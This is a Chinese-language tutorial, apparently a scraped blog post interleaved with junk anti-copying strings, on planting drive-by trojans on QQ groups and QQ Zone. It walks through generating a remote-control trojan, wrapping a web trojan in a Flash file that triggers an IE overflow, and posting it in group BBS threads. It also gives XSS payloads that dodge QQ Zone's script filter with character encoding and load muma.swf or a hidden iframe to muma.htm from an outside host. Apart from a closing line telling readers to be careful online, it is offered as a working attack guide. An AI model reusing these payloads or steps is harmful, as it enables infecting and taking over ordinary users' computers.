QQ木马到底怎么做

有无数上网用户每天都在使用QQ，大家往往注重于QQ尾巴病毒、QQ传木马之类的攻击方式，却很少有人注意到我们经常访问的QQ群、QQ空间里面隐藏着更大的安全危险，远比QQ尾巴病毒、QQ传木马之类的隐蔽得多，危害更加大。今天我们就来看看攻击者是如何在QQ群和QQ空间中挂上网页木马，攻击浏览用户的！

e#FERvt`17268825一、QQ群中简简单单挂木马

@'}9q
aLy_17268825IXPUB技术博客VYS^1f&p;[T4^G

    在一个比较火的QQ群里挂上网页木马，一定很容易得到许多肉鸡的。怎么在QQ群里挂马，是在群里面群发木马的网址吗?现在已经不会有人上这样的当了。我们要作的只是在群里面发一个作了手脚的帖子。IXPUB技术博客 Ao.a&s&LXjb

Wj:U{/?17268825步骤一：制作网页木马IXPUB技术博客xo}%Y+^ He n*[

IXPUB技术博客M^3}2s0k

    在攻击前，我们首先要制作好一个木马网页。这里笔者使用了“上兴远程控制木马V2006”，这个木马功能非常强，以前笔者曾作过介绍。用上兴生成木马服务端程序“muma.exe”后，将服务端上传到某个网站上去，假设地址为“http://www.binghewu.com.cn/muma.exe”。IXPUB技术博客+x OC4X0\ j)fxZ

IXPUB技术博客R0ql.yh

    打开“南域剑盟网页木马生成器”，在中间的“URL”处填入木马的链接地址，点击“生成”按钮，将会在生成器当前目录下生成一个名为“script.txt”的文件(如图1)。用记事本打开刚才生成的“script.txt”文件，可以看到木马代码，代码是经过加密的，一般人很难看出这是网页木马代码来(如图2)。复制所有代码，然后将代码插入到任意一个正常的网页中，就可以得到一个网页木马了。IXPUB技术博客qah9Ir?n'_

A(_m4Q^&AS9S17268825    小提示:将木马代码插入正常的网页中，其位置一般是位于“”标记中间。IXPUB技术博客-c f ]x2I0R9{3J'YlQ

4s SG@^,G17268825

8U ??b!^f9R17268825

8x4OiH7o&F.cb17268825IXPUB技术博客
V]9w0Mw;V.?[
图1 用木马生成器生成木马代码
gvp(^)U
B1G_-M@7f17268825IXPUB技术博客Kq&HT6J M"V

IXPUB技术博客{ ka;p5oFP)T

1WB"P9d+}S
N1\&s17268825
M Ra)\O%i4[e3YQ17268825IXPUB技术博客:GQ2Z7D!_~
IXPUB技术博客!zkWfN/f"W

    步骤二：制作SWF木马
B ctn"Nh17268825
)oYj:^\oB7f17268825    在以前的QQ群中，本来只需要发一张带图片的帖子就可以实现挂马的目的。不过现在QQ群也改版了，挂马就需要多一个步骤了，我们还需要将网页木马嵌入Flash文件中。
` b*|9q1S e}']|17268825IXPUB技术博客~F!w`!A [
    打开“SWF插马工具(Icode To SWF)”，在“SWF文件”中浏览选择本机上的某个正常的Flash文件;在“插入代码”中填写刚才与在的网页木马的链接地址(如图3)。然后点击“给我插”按钮，即可将网页木马链接插入到正常的Flash文件中了。SWF插马工具生成的Flash文件是利用了一个IE漏洞，对方打开Flash文件后，就会造成IE溢出，自动访问木马网页在后台下载运行木马程序。IXPUB技术博客0sv6lM6g,{6cU

Y-X8vf U!?5y Z2T8Q,Q17268825

图3 生成SWF木马IXPUB技术博客-{E+[,ib[6F

步骤三：在QQ群中挂马IXPUB技术博客!x[_;I.Hl4SF
U

S
U ]u8u1G"Rw17268825    首先将刚才生成的SWF木马文件上传到某个空间中，然后打开某个QQ群的BBS栏目，点击“发表新文章”。在新文章书写页面中点击“插入Flash”按钮，输入SWF木马文件的网络链接地址及长宽，然后点击后面的小钩按钮，插入Flash文件(如图4)。发表新文章后，当有人在QQ群中打开查看这篇文章时，就会自动播放Flash并在后台下载运行上兴木马服务端了。
5S&qe:P)UF o(t;t17268825IXPUB技术博客S,F _g/Q_6O

y2^D/jbDet17268825

IXPUB技术博客3FR1WJcsN4Ak0q

图4 在QQ群中发布Flash木马IXPUB技术博客wT'{Y0| PK8?

小提示：当然我们也可以直接在QQ群中散布SWF木马文件的网址，别人点击后一样会中木马，不过这种方式不如发布文章隐蔽和效果好，攻击的持续性也不强。
1d?+`EU17268825

4NR*m(gk17268825

EG*D:p;@r^17268825二、QQ空间玩挂马
~}B.ZC17268825
8@.X$B#V7r"N {17268825    自从腾讯推出QQ空间(QQ-zone)后，各种跨站漏洞便不断暴出。虽然腾讯已经对QQ-zone进行了一次全面的更新，禁止了运行自定义脚本，不过通过我们的测试，发现所做的限制是很简单的，只需要转换一下字符就可以突破限制，在QQ空间上任意挂马。IXPUB技术博客 [y$k/L:Uy*G;n(k

;G[b._0QD+r#QY17268825方法一：挂Flash木马
)_"sI%l*t,pd3^u17268825
o+k'~'Uobz
QE S17268825    打开QQ空间后，在页面中点击“自定义”按钮，在弹出的工具条上依次单击“个性设置”→“新建模块”命令，也可在QQ空间页面中直接按下+组合键，打开自定义对话框。在弹出的网页对话框中输入任意“模块名称”，点击“提交”按钮，弹出创建成功的提示框。然后出现“添加内容”对话框，将其中的“网址”、“图片”中自带的“http://”删除，保持“链接名称”为空白。在“评论”中输入如下代码(如图5)：

H/X'V4Qa2BEv17268825IXPUB技术博客6Y:o%iGj%Uj*z

IXPUB技术博客\-{'l8Y*^5u}3f
以下是引用片段IXPUB技术博客q'T/joj)|!g
IXPUB技术博客8xpe y+B [
    “<img src="javascri&amp;#112;t:document.getElementById('Mlogo').&#105;nnerHTML+='<div style=\'position:absolute;top:0;left:0;\'&gt;<EMBED src=\'http://www.binghewu.com.cn/muma.swf\' quality=high wmode=\'transparent\' WIDTH=\'925\' HEIGHT=\'655\' TYPE=\'application/x-shockwave-flash\'></div>';"> ”IXPUB技术博客\Di6X3HYh3T

.?/^`*C&W$\?g17268825    代码中的Flash地址“http://www.binghewu.com.cn/muma.swf”，是刚才制作上传的SWF木马链接地址，可以更改为其它任意Flash木马文件地址。提交代码后，用户进入此QQ空间时，会自动打开显示上传的SWF木马Flash，从而在后台下载运行上兴木马服务端程序。
&qG hW2fvF17268825IXPUB技术博客%nev f:Hx NA

3gJ!\3hf_17268825IXPUB技术博客&r/u|5roC7^

IXPUB技术博客-O"{2}2X+E;ld7`
{

/gfW)wjiIw9J:A2b4h17268825

图5 通过自定义模块添加SWF木马IXPUB技术博客:Q Kk
GZA3\I

小提示：QQ空间是通过检测用户提交的代码中，是否含用“javascript”之类的字符进行过滤的。在上面的代码中，将脚本部分代码用ASCII编码之后替换躲过了过滤，如“javascript”可以替换为“javascrip”，“p”为“p”的ASCII编码。具体ASCII编码转换可到“http://www.killadm.ful.cn/ascii.asp”查询(如图6)。
+hK#n+U g5WU+{17268825
"O1a%oT7gR`17268825

$B4R3S9zgc,z/G'q:JW17268825

QI Dlk*\pn17268825

图6 通过网页转换字符ASCII码

!Kw*^ anJj U17268825

方法二：挂网页木马IXPUB技术博客eAu(Wr)A&v7Z
IXPUB技术博客9xy(RlLMbC4i
    上面的方法是直接在QQ空间中挂上一个Flash木马文件，实现的方法虽然比较简单，不过这个Flash文件有可能会让别人起疑心。既然我们可以在QQ空间中写入自定义代码，何不干脆直接挂上网页木马呢?
;C.aw/O4Fa+N17268825IXPUB技术博客es$XCn4tg1P'Ehm
用上面同样的方法新建一个模块，代码如下：IXPUB技术博客r3[|^V6l]

ffK qx#{*q6X17268825以下是引用片段：
7QNA*YSd/u17268825IXPUB技术博客*k+S%[9K ~)u|
“<div id=DI><img src="javascri&#112;t:DI.&#105;nnerHTML='<&#105;frame. src="http://www.binghewu.com.cn/muma.htm" width=190 height=190 marginwidth=0 marginheight=0 hspace=0 vspace=0 frameborder=0 scrolling=no></&#105;frame>'" style=display:none></div>”
j.CV$a%{ H~17268825IXPUB技术博客 E)UURKv
同样的，在上面的代码中已经作了ASCII码转换躲过过滤;“http://www.binghewu.com.cn/muma.htm”是网页木马的链接地址，可以换成其它木马网页地址。代码中的其它语句是用来定义模块大小的，由于设置为0，该模块将在QQ空间中被隐藏，但是并不影响木马网页的打开与运行。这里为了说明攻击效果，笔者对代码作了一些修改，将木马网页显示为新浪首页，说明完全可以在QQ空间中打开其它木马网页的(如图7)。IXPUB技术博客n aC"X/V
bi W |

0W8\)|X|O3wJ*J17268825

A:mZ/f^+y17268825

IXPUB技术博客~LR:U'M

图7 在QQ空间中挂上的新浪页面

#\S#t(o R7tF2J7S17268825

    怎么样，在QQ群和QQ空间中挂马是不是很简单？希望大家在上网的时候注意一下了。IXPUB技术博客,uS2|_Bb
IXPUB技术博客B3R~%ZBQ